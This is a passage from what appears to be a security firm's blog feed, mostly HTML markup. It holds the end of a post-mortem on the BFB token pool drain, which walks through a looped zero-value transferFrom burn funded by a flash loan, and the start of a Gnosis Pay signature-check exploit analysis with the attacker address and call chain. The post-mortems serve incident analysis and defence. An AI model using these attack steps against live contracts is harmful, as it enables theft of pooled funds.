data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:319,&quot;width&quot;:873,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63346,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/206807884?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SGLU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 424w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 848w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 1272w, https://substackcdn.com/image/fetch/$s_!SGLU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07aeb815-0835-4bab-ad37-1563c5f9fd89_873x319.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>With the relevant parameters set to:</p><ul><li><p><code>fallPriceRatio = 500</code> &#8594; a <strong>~5% drop</strong> below <code>fallLastPrice</code> arms the burn.</p></li><li><p><code>fallPriceBurnRatio = 500</code> &#8594; <strong>5% of the pool&#8217;s BFB balance</strong> is burned on each trigger.</p></li><li><p><code>DENOMINATOR = 10000</code>.</p></li></ul><p>BFB derives its "price" straight from the pool's spot reserves (<code>wbnbReserve / bfbReserve</code>), and its price-defense burn <em>edits those same reserves</em> &#8212; burning 5% of the pool's BFB and calling <code>sync()</code>, which raises the quoted price while quietly shrinking the AMM invariant <code>k</code> and leaving the pool over-loaded with WBNB against a vanishing BFB reserve. Worse, this destructive burn can be triggered for free and without limit: the <code>!isContract(from) &amp;&amp; !isContract(to)</code> guard only inspects the transfer parties, not the caller, so an attacker contract simply calls <code>transferFrom(attackerEOA, attackerEOA, 0)</code> &#8212; two EOAs pass the check, and the zero amount also slips past the <code>_bound</code> logic (which only reacts to <code>1e18</code> or <code>5e17</code>). With no cooldown or per-block limit, the attacker can loop this burn hundreds of times in a single transaction, each fire compounding the last, repeatedly forcing the pool to destroy its own BFB reserve at near-zero cost.</p><p>The whole exploit ran in a single atomic transaction. The attack contract first flash-borrowed a large amount of liquidity from Lista DAO Moolah (WBNB and BTCB, routed through Venus vTokens) as working capital, with the attacker EOA having pre-approved the contract so that <code>transferFrom(attackerEOA, attackerEOA, 0)</code> would pass the allowance check. It then repeated roughly 151 rounds: in each round it swapped against the BFB/WBNB pair to push the spot price more than 5% below <code>fallLastPrice</code> &#8212; the burn branch stays dormant during the swap because the pair is a contract, so the low price is left "primed" while <code>fallLastPrice</code> remains high &#8212; and then called <code>transferFrom(attackerEOA, attackerEOA, 0)</code>, an EOA&#8594;EOA zero-value transfer that passes the <code>!isContract</code> guard and makes <code>_priceDeflPool</code> burn 5% of the pool's BFB and <code>sync()</code> (visible on-chain as the recurring <code>BFB &#8594; Null: 0x000&#8230;000</code> transfers interleaved with the swaps). Since each burn scales the reserve by ~0.95, after ~151 rounds <code>0.95^151 &#8776; 4e-4</code> drove the pool's BFB reserve to about 0.04% of its starting value while the WBNB reserve stayed intact &#8212; leaving abundant WBNB backing a near-zero BFB reserve. At that point constant-product math meant a dust-sized BFB input could extract nearly all the pool's WBNB, so the attacker made the final swap, repaid the flash loan, and exited with <strong>&#8776; 350.6 WBNB (~$198,956)</strong> for a transaction fee of about $0.39.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nygv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nygv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 424w, https://substackcdn.com/image/fetch/$s_!nygv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 848w, https://substackcdn.com/image/fetch/$s_!nygv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 1272w, https://substackcdn.com/image/fetch/$s_!nygv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nygv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png" width="1456" height="458" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:458,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:299404,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/206807884?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nygv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 424w, https://substackcdn.com/image/fetch/$s_!nygv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 848w, https://substackcdn.com/image/fetch/$s_!nygv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 1272w, https://substackcdn.com/image/fetch/$s_!nygv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b1fb6cb-0a2c-4ed9-a12b-11202b891e9c_1798x566.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Conclusion</h2><p>The BFB exploit is a textbook example of a token's own "feature" becoming its fatal flaw. A price-defense routine that (a) priced itself off manipulable spot reserves, (b) burned liquidity-pool reserves and re-synced on demand, (c) could be triggered for free by any contract via a zero-value EOA&#8594;EOA <code>transferFrom</code>, and (d) had no rate limit, allowed an attacker to loop ~151 burns in a single flash-loan-funded transaction, collapse the BFB reserve toward zero, and swap dust BFB for the pool's entire WBNB &#8212; walking away with roughly $198,000 for less than a dollar in gas.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Gnosis Pay Exploit: The Devs Discovered the Bug, So Why Did the Attack Still Happen?]]></title><description><![CDATA[TL;DR: On June 1, 2026, Gnosis Pay lost about $265,000 to a hacker.]]></description><link>https://blog.verichains.io/p/gnosis-pay-exploit-the-devs-discovered</link><guid isPermaLink="false">https://blog.verichains.io/p/gnosis-pay-exploit-the-devs-discovered</guid><dc:creator><![CDATA[th13vn]]></dc:creator><pubDate>Mon, 08 Jun 2026 12:17:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!3NGJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>TL;DR:</strong> On June 1, 2026, <strong>Gnosis Pay</strong> lost about $265,000 to a hacker. The hacker broke in by tricking the system's security checks, using a tiny missing piece of code to pass off fake error messages as real, approved signatures. But here is the most concerning part: <strong>the developers had already found and silently fixed this exact bug months before the hack</strong> in their <em>another</em> code repository. Why didn't they warn anyone that the older code - which Gnosis Pay was still using - was completely vulnerable and waiting to be robbed?</p><h2><strong>Attack Summary</strong></h2><ul><li><p><strong>Date:</strong> June 1, 2026 UTC.</p></li><li><p><strong>Protocol:</strong> Gnosis Pay / <a href="https://github.com/gnosisguild/zodiac-modifier-delay/tree/v1.1.0">Zodiac Delay v1.1.0</a>.</p></li><li><p><strong>Chain:</strong> Gnosis Chain.</p></li><li><p><strong>Loss:</strong> ~$265K across multiple victims.</p></li><li><p><strong>Root Cause:</strong> Missing status check in static call.</p></li><li><p><strong>Attacker:</strong> <a href="https://gnosisscan.io/address/0x81ba8a2b895d30280bca199c2ff75f3f058d4c6c">0x81ba8a2b895d30280bca199c2ff75f3f058d4c6c</a>.</p></li><li><p><strong>Example Attack TX:</strong> <a href="https://gnosisscan.io/tx/0x5ea42911c803ba2cf1cb558e88129102de9023980a5c73253d59407859ce2ce5">0x5ea42911c803ba2cf1cb558e88129102de9023980a5c73253d59407859ce2ce5</a>.</p></li><li><p><strong>Vulnerable Function Path:</strong></p></li></ul><pre><code><code>Delay.execTransactionFromModule()
  -&gt; moduleOnly()
    -&gt; moduleTxSignedBy()
      -&gt; _isValidContractSignature()</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3NGJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3NGJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 424w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 848w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3NGJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png" width="1456" height="1062" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1062,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:238713,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3NGJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 424w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 848w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!3NGJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F698a828f-5243-4449-8e08-4381d3a6cfbc_1480x1080.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Image 1: Gnosis Pay attack call chain</figcaption></figure></div><h2><strong>Background</strong></h2><p>Gnosis Pay connects a card product to self-custody Safe accounts. The relevant architecture uses Zodiac modules:</p><ul><li><p><strong>Roles Module</strong> controls which actions are allowed.</p></li><li><p><strong>Delay Module</strong> queues outgoing non-card transactions and enforces a short cooldown before execution.</p></li></ul><p>In the intended flow, a withdrawal is queued first, waits through the delay period, and only then becomes executable. That design is reasonable. The failure was not that a delay existed; the failure was that the module accepted malicious transactions into the queue through a broken signature-verification fallback.</p><h2><strong>Root-cause Analysis</strong></h2><h3><strong>Data Control: Start of attack</strong></h3><p>The attacker called <code>execTransactionFromModule()</code> with crafted calldata.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rBZa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rBZa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 424w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 848w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 1272w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rBZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png" width="496" height="127" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:127,&quot;width&quot;:496,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23588,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rBZa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 424w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 848w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 1272w, https://substackcdn.com/image/fetch/$s_!rBZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5cae639-79e1-44df-bf9c-b5fa4f28eca5_496x127.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Image 2: Attacker call</figcaption></figure></div><p>The function was protected by <code>moduleOnly</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WG_7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WG_7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 424w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 848w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 1272w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WG_7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png" width="490" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:490,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:19655,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WG_7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 424w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 848w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 1272w, https://substackcdn.com/image/fetch/$s_!WG_7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc5b074e9-7c12-4f4e-a85f-98aa24d8136b_490x113.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Image 3: execute transaction from module with moduleOnly modifier</figcaption></figure></div><p>The vulnerable authorization path tried to support a generic fallback: if <code>msg.sender</code> is not an enabled module, check whether the transaction was signed by an enabled module.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zI7s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zI7s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 424w, 